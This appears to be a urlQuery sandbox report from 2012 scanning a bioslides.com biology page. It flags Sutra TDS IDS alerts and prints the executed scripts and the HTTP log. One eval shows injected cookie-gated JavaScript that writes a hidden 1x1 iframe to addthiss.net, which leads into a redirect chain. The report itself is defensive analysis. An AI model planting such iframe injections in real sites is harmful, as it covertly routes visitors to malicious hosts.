Overview

URLhttp://www.bioslides.com/biology_sets.htm
IP70.87.90.226
ASNAS21844 ThePlanet.com Internet Services, Inc.
Location United States
Report completed2012-11-06 13:17:47 CET
StatusLoading report..
urlQuery Alerts Detected SutraTDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-06 13:17:16 urlQuery Client 69.43.161.1742ET CURRENT_EVENTS TDS Sutra - request in.cgi
Snort /w Sourcefire VRT
Timestamp Source IP Destination IP Severity Alert
2012-11-06 13:17:16 urlQuery Client 69.43.161.1741MALWARE-CNC TDS Sutra - request in.cgi


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 70.87.90.226

Date Alerts / IDS URL IP
2013-02-26 07:03:200 / 11http://directmarketing-resource.com/?p=370.87.90.226
2013-02-26 06:55:010 / 11http://directmarketing-resource.com/?cat=370.87.90.226
2013-02-25 23:08:540 / 11http://directmarketing-resource.com/?p=370.87.90.226
2013-02-25 11:43:590 / 11http://directmarketing-resource.com/?page_id=270.87.90.226
2013-02-25 11:42:470 / 11http://directmarketing-resource.com/?cat=370.87.90.226
2013-02-25 09:55:280 / 11http://directmarketing-resource.com/?p=370.87.90.226

Last 6 reports on ASN: AS21844 ThePlanet.com Internet Services, Inc.

Date Alerts / IDS URL IP
2013-02-28 22:22:521 / 2http://acmetours.fr/fr/srilanka1.php74.53.142.82
2013-02-28 22:22:031 / 3http://www.financesurvivalguide.com/tips_for_easy_credit_card_processing.html174.122.45.187
2013-02-28 22:21:570 / 0http://www.idontagree.com/barbara--walters-explains-the-902.html174.122.19.219
2013-02-28 22:21:570 / 0http://www.idontagree.com/obamacare-explained-pass-on-885.html174.122.19.219
2013-02-28 22:21:492 / 2http://beatscottytwan.com/en/?take-your-hotel-towels-business-to-its-top-by-2272174.120.151.91
2013-02-28 22:21:231 / 0http://admissionsindia.com/more-about-joomla/25-the-project/23-platforms-and-open-standards74.54.89.131

Last 1 reports on domain: www.bioslides.com

Date Alerts / IDS URL IP
2012-10-19 12:14:441 / 1http://www.bioslides.com/protozoa.htm70.87.90.226



JavaScript

Executed Scripts (14)


Executed Evals (1)

#1 JavaScript::Eval (size: 1206, repeated: 1) 

function setCookie(name, value, expiredays, path, domain, secure) {
    if (expiredays) {
        var exdate = new Date();
        exdate.setDate(exdate.getDate() + expiredays);
        var expires = exdate.toGMTString();
    }
    document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");
}

function getCookie(name) {
    var cookie = " " + document.cookie;
    var search = " " + name + "=";
    var setStr = null;
    var offset = 0;
    var end = 0;
    if (cookie.length > 0) {
        offset = cookie.indexOf(search);
        if (offset != -1) {
            offset += search.length;
            end = cookie.indexOf(";", offset)
            if (end == -1) {
                end = cookie.length;
            }
            setStr = unescape(cookie.substring(offset, end));
        }
    }
    return setStr;
}
var user = getCookie("secheck");
if (user != 777) {
    document.write('<iframe src="http://addthiss.net/in.cgi?8" width=1 height=1 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>');
    setCookie("secheck", "777", 7, "/");
}

Executed Writes (6)

#1 JavaScript::Write (size: 461, repeated: 1) 

<!doctype html><html><body><script>google_ad_client="pub-6089550885596733";google_ad_height=60;google_ad_slot="3983885902";google_ad_width=468;google_show_ads_impl=true;google_unique_id=1;google_async_iframe_id="aswift_0";google_ad_unit_key="524902064";google_start_time=1352204235548;google_expand_experiment="none";google_bpp=12;</script><script src="http://pagead2.googlesyndication.com/pagead/js/r20121023/r20120730/show_ads_impl.js"></script></body></html>

#2 JavaScript::Write (size: 813, repeated: 1) 

<iframe allowtransparency=true frameborder=0 height=60 hspace=0 id=google_ads_frame1 marginheight=0 marginwidth=0 name=google_ads_frame1 scrolling=no src="http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6089550885596733&output=html&h=60&slotname=3983885902&w=468&lmt=1269473494&flash=10.0.45&url=http%3A%2F%2Fwww.bioslides.com%2Fbiology_sets.htm&dt=1352204235548&bpp=12&shv=r20121023&jsv=r20110914&correlator=1352204236098&frm=20&adk=524902064&ga_vid=1973665997.1352204236&ga_sid=1352204236&ga_hid=31892097&ga_fc=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=8&u_nmime=54&dff=trebuchet%20ms&dfs=16&adx=354&ady=584&biw=1176&bih=778&oid=3&fu=0&ifi=1&dtd=666&xpc=FRfswd0sig&p=http%3A//www.bioslides.com" style="left:0;position:absolute;top:0" vspace=0 width=468></iframe>

#3 JavaScript::Write (size: 140, repeated: 1) 

<iframe src="http://addthiss.net/in.cgi?8" width=1 height=1 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe>

#4 JavaScript::Write (size: 815, repeated: 1) 

<ins style="display:inline-table;border:none;height:60px;margin:0;padding:0;position:relative;visibility:visible;width:468px"><ins id="aswift_0_anchor" style="display:block;border:none;height:60px;margin:0;padding:0;position:relative;visibility:visible;width:468px"><iframe allowtransparency="true" frameborder="0" height="60" hspace="0" marginwidth="0" marginheight="0" onload="var i=this.id,s=window.google_iframe_oncopy,H=s&amp;&amp;s.handlers,h=H&amp;&amp;H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&amp;&amp;d&amp;&amp;(!d.body||!d.body.firstChild)){if(h.call){i+='.call';setTimeout(h,0)}else if(h.match){i+='.nav';w.location.replace(h)}s.log&amp;&amp;s.log.push(i)}" scrolling="no" vspace="0" width="468" id=aswift_0 name=aswift_0 style="left:0;position:absolute;top:0;" ></iframe></ins></ins>

#5 JavaScript::Write (size: 86, repeated: 1) 

<script src="http://pagead2.googlesyndication.com/pagead/expansion_embed.js"></script>

#6 JavaScript::Write (size: 105, repeated: 1) 

<script>google_protectAndRun("ads_core.google_render_ad", google_handleError, google_render_ad);</script>


HTTP Transactions (36)


Request Response 
GET /biology_sets.htm HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Wed, 24 Mar 2010 23:31:34 GMT
Accept-Ranges: bytes
Content-Length: 6807
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /logos/Logo_25wht.gif HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
Cookie: PREF=ID=18d07d2c5ecbbb08:U=205ee10a10512bfa:FF=0:TM=1350344350:LM=1350344627:S=oVTvNjgbzbFNBNUF; NID=64=UOjfkeau7k9dzmFvAsFwVqmD4s7g_bdUMaEnGOlKRSTKCit3R_G5xg2kMKTOgRf2IL0DzvimBbfFpj1mIHK6cKNk76wCsEyOlULvzyFq8aklSyHHGXGPdMpqcZCr8LfK
 
HTTP/1.1 200 OK

Content-Type: image/gif

Last-Modified: Mon, 02 Apr 2012 02:13:37 GMT
Date: Tue, 06 Nov 2012 12:17:15 GMT
Expires: Tue, 06 Nov 2012 12:17:15 GMT
Cache-Control: private, max-age=31536000
X-Content-Type-Options: nosniff
Server: sffe
Content-Length: 1607
X-XSS-Protection: 1; mode=block
GET /pagead/show_ads.js HTTP/1.1

Host: pagead2.googlesyndication.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
If-None-Match: 15032493890200785914
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

P3P: policyref=&quot;http://www.googleadservices.com/pagead/p3p.xml&quot;, CP=&quot;NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC&quot;
Etag: 9126965438495742694
Date: Tue, 06 Nov 2012 12:01:08 GMT
Expires: Tue, 06 Nov 2012 13:01:08 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Content-Encoding: gzip
Server: cafe
Content-Length: 5351
X-XSS-Protection: 1; mode=block
Age: 967
Cache-Control: public, max-age=3600
GET /newgeocheck.js HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: application/javascript

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Thu, 25 Mar 2010 14:49:06 GMT
Accept-Ranges: bytes
Content-Length: 6978
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /_borders/BSL_Logo.gif HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Tue, 03 Apr 2007 16:35:57 GMT
Accept-Ranges: bytes
Content-Length: 174
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /_derived/home_cmp_newf-bioslides100_gbtn.gif HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Tue, 03 Apr 2007 16:38:04 GMT
Accept-Ranges: bytes
Content-Length: 155
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /_derived/up_cmp_newf-bioslides100_gbtn.gif HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Tue, 03 Apr 2007 16:41:08 GMT
Accept-Ranges: bytes
Content-Length: 139
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /_derived/feedback.htm_cmp_newf-bioslides100_gbtn.gif HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Tue, 03 Apr 2007 16:37:54 GMT
Accept-Ranges: bytes
Content-Length: 181
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /_themes/newf-bioslides/newf1100.css HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: text/css

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Sun, 01 Apr 2007 16:55:19 GMT
Accept-Ranges: bytes
Content-Length: 23475
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /_derived/toc.htm_cmp_newf-bioslides100_gbtn.gif HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Tue, 03 Apr 2007 16:41:06 GMT
Accept-Ranges: bytes
Content-Length: 177
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /_derived/contact.htm_cmp_newf-bioslides100_gbtn.gif HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Tue, 03 Apr 2007 16:37:41 GMT
Accept-Ranges: bytes
Content-Length: 171
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /_derived/who_we_are.htm_cmp_newf-bioslides100_gbtn.gif HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Tue, 03 Apr 2007 16:41:14 GMT
Accept-Ranges: bytes
Content-Length: 189
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /_derived/biology_sets.htm_cmp_newf-bioslides100_bnr.gif HTTP/1.1

Host: www.bioslides.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: image/gif

Date: Tue, 06 Nov 2012 12:17:15 GMT
Server: Apache
Last-Modified: Tue, 03 Apr 2007 16:36:58 GMT
Accept-Ranges: bytes
Content-Length: 6386
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /pagead/js/r20121023/r20120730/show_ads_impl.js HTTP/1.1

Host: pagead2.googlesyndication.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

P3P: policyref=&quot;http://www.googleadservices.com/pagead/p3p.xml&quot;, CP=&quot;NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC&quot;
Etag: 2745567636224848067
Date: Thu, 01 Nov 2012 01:08:55 GMT
Expires: Thu, 15 Nov 2012 01:08:55 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Server: cafe
Content-Length: 54485
X-XSS-Protection: 1; mode=block
Cache-Control: public, max-age=1209600
Age: 472100
GET /pagead/expansion_embed.js HTTP/1.1

Host: pagead2.googlesyndication.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

P3P: policyref=&quot;http://www.googleadservices.com/pagead/p3p.xml&quot;, CP=&quot;NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC&quot;
Etag: 2372832783343406230
Date: Tue, 06 Nov 2012 01:11:17 GMT
Expires: Wed, 07 Nov 2012 01:11:17 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Content-Encoding: gzip
Server: cafe
Content-Length: 25450
X-XSS-Protection: 1; mode=block
Age: 39959
Cache-Control: public, max-age=86400
GET /in.cgi?8 HTTP/1.1

Host: addthiss.net

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Date: Tue, 06 Nov 2012 12:17:16 GMT
Server: Apache
X-Powered-By: PHP/5.3.3-7+squeeze14
Content-Length: 414
Connection: close
GET /pagead/osd.js HTTP/1.1

Host: pagead2.googlesyndication.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
If-None-Match: 13350759849962699205
 
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8

P3P: policyref=&quot;http://www.googleadservices.com/pagead/p3p.xml&quot;, CP=&quot;NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC&quot;
Etag: 18259867682941507172
Date: Tue, 06 Nov 2012 12:08:52 GMT
Expires: Tue, 06 Nov 2012 13:08:52 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Content-Encoding: gzip
Server: cafe
Content-Length: 5981
X-XSS-Protection: 1; mode=block
Age: 504
Cache-Control: public, max-age=3600
GET /pagead/ads?client=ca-pub-6089550885596733&output=html&h=60&slotname=3983885902&w=468&lmt=1269473494&flash=10.0.45&url=http%3A%2F%2Fwww.bioslides.com%2Fbiology_sets.htm&dt=1352204235548&bpp=12&shv=r20121023&jsv=r20110914&correlator=1352204236098&frm=20&adk=524902064&ga_vid=1973665997.1352204236&ga_sid=1352204236&ga_hid=31892097&ga_fc=0&u_tz=60&u_his=1&u_java=1&u_h=885&u_w=1176&u_ah=855&u_aw=1176&u_cd=24&u_nplug=8&u_nmime=54&dff=trebuchet%20ms&dfs=16&adx=354&ady=584&biw=1176&bih=778&oid=3&fu=0&ifi=1&dtd=666&xpc=FRfswd0sig&p=http%3A//www.bioslides.com HTTP/1.1

Host: googleads.g.doubleclick.net
GET /pagead/ads?client=ca-pub-6089550885596733&amp;output=html&amp;h=60&amp;slotname=3983885902&amp;w=468&amp;lmt=1269473494&amp;flash=10.0.45&amp;url=http%3A%2F%2Fwww.bioslides.com%2Fbiology_sets.htm&amp;dt=1352204235548&amp;bpp=12&amp;shv=r20121023&amp;jsv=r20110914&amp;correlator=1352204236098&amp;frm=20&amp;adk=524902064&amp;ga_vid=1973665997.1352204236&amp;ga_sid=1352204236&amp;ga_hid=31892097&amp;ga_fc=0&amp;u_tz=60&amp;u_his=1&amp;u_java=1&amp;u_h=885&amp;u_w=1176&amp;u_ah=855&amp;u_aw=1176&amp;u_cd=24&amp;u_nplug=8&amp;u_nmime=54&amp;dff=trebuchet%20ms&amp;dfs=16&amp;adx=354&amp;ady=584&amp;biw=1176&amp;bih=778&amp;oid=3&amp;fu=0&amp;ifi=1&amp;dtd=666&amp;xpc=FRfswd0sig&amp;p=http%3A//www.bioslides.com HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.bioslides.com/biology_sets.htm
Cookie: id=223ae1776901005b||t=1350343758|et=730|cs=002213fd480aa30e9cef2f5d42
 
HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

P3P: policyref=&quot;http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml&quot;, CP=&quot;CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR&quot;
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Date: Tue, 06 Nov 2012 12:17:16 GMT
Server: cafe
Cache-Control: private
Content-Length: 1229
X-XSS-Protection: 1; mode=block
GET /pagead/images/adchoices/icon.png HTTP/1.1

Host: pagead2.googlesyndication.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6089550885596733&amp;output=html&amp;h=60&amp;slotname=3983885902&amp;w=468&amp;lmt=1269473494&amp;flash=10.0.45&amp;url=http%3A%2F%2Fwww.bioslides.com%2Fbiology_sets.htm&amp;dt=1352204235548&amp;bpp=12&amp;shv=r20121023&amp;jsv=r20110914&amp;correlator=1352204236098&amp;frm=20&amp;adk=524902064&amp;ga_vid=1973665997.1352204236&amp;ga_sid=1352204236&amp;ga_hid=31892097&amp;ga_fc=0&amp;u_tz=60&amp;u_his=1&amp;u_java=1&amp;u_h=885&amp;u_w=1176&amp;u_ah=855&amp;u_aw=1176&amp;u_cd=24&amp;u_nplug=8&amp;u_nmime=54&amp;dff=trebuchet%20ms&amp;dfs=16&amp;adx=354&amp;ady=584&amp;biw=1176&amp;bih=778&amp;oid=3&amp;fu=0&amp;ifi=1&amp;dtd=666&amp;xpc=FRfswd0sig&amp;p=http%3A//www.bioslides.com
If-None-Match: 426692510519060060
 
HTTP/1.1 304 Not Modified

HTTP/1.1 304 Not Modified

Date: Tue, 06 Nov 2012 01:49:15 GMT
Expires: Wed, 07 Nov 2012 01:49:15 GMT
Etag: 426692510519060060
Age: 37682
Server: GFE/2.0
GET /?dn=addthiss.net&pid=9POIZ5V76 HTTP/1.1

Host: searchmagnitude.com
GET /?dn=addthiss.net&amp;pid=9POIZ5V76 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://addthiss.net/in.cgi?8
 
HTTP/1.1 302 Found

Content-Type: text/html; charset=iso-8859-1

Date: Tue, 06 Nov 2012 12:17:16 GMT
Server: Apache/2.2.3 (Red Hat)
Location: http://quickfwd.com/?dn=addthiss.net&amp;pid=9POIZ5V76
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 272
Keep-Alive: timeout=5, max=107
Connection: Keep-Alive
GET /pagead/images/adchoices/en.png HTTP/1.1

Host: pagead2.googlesyndication.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6089550885596733&amp;output=html&amp;h=60&amp;slotname=3983885902&amp;w=468&amp;lmt=1269473494&amp;flash=10.0.45&amp;url=http%3A%2F%2Fwww.bioslides.com%2Fbiology_sets.htm&amp;dt=1352204235548&amp;bpp=12&amp;shv=r20121023&amp;jsv=r20110914&amp;correlator=1352204236098&amp;frm=20&amp;adk=524902064&amp;ga_vid=1973665997.1352204236&amp;ga_sid=1352204236&amp;ga_hid=31892097&amp;ga_fc=0&amp;u_tz=60&amp;u_his=1&amp;u_java=1&amp;u_h=885&amp;u_w=1176&amp;u_ah=855&amp;u_aw=1176&amp;u_cd=24&amp;u_nplug=8&amp;u_nmime=54&amp;dff=trebuchet%20ms&amp;dfs=16&amp;adx=354&amp;ady=584&amp;biw=1176&amp;bih=778&amp;oid=3&amp;fu=0&amp;ifi=1&amp;dtd=666&amp;xpc=FRfswd0sig&amp;p=http%3A//www.bioslides.com
If-None-Match: 8618641207806323095
 
HTTP/1.1 304 Not Modified

HTTP/1.1 304 Not Modified

Date: Tue, 06 Nov 2012 01:48:28 GMT
Expires: Wed, 07 Nov 2012 01:48:28 GMT
Etag: 8618641207806323095
Age: 37729
Server: GFE/2.0
GET /pagead/js/r20121023/r20110914/abg.js HTTP/1.1

Host: pagead2.googlesyndication.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6089550885596733&amp;output=html&amp;h=60&amp;slotname=3983885902&amp;w=468&amp;lmt=1269473494&amp;flash=10.0.45&amp;url=http%3A%2F%2Fwww.bioslides.com%2Fbiology_sets.htm&amp;dt=1352204235548&amp;bpp=12&amp;shv=r20121023&amp;jsv=r20110914&amp;correlator=1352204236098&amp;frm=20&amp;adk=524902064&amp;ga_vid=1973665997.1352204236&amp;ga_sid=1352204236&amp;ga_hid=31892097&amp;ga_fc=0&amp;u_tz=60&amp;u_his=1&amp;u_java=1&amp;u_h=885&amp;u_w=1176&amp;u_ah=855&amp;u_aw=1176&amp;u_cd=24&amp;u_nplug=8&amp;u_nmime=54&amp;dff=trebuchet%20ms&amp;dfs=16&amp;adx=354&amp;ady=584&amp;biw=1176&amp;bih=778&amp;oid=3&amp;fu=0&amp;ifi=1&amp;dtd=666&amp;xpc=FRfswd0sig&amp;p=http%3A//www.bioslides.com
 
HTTP/1.1 200 OK

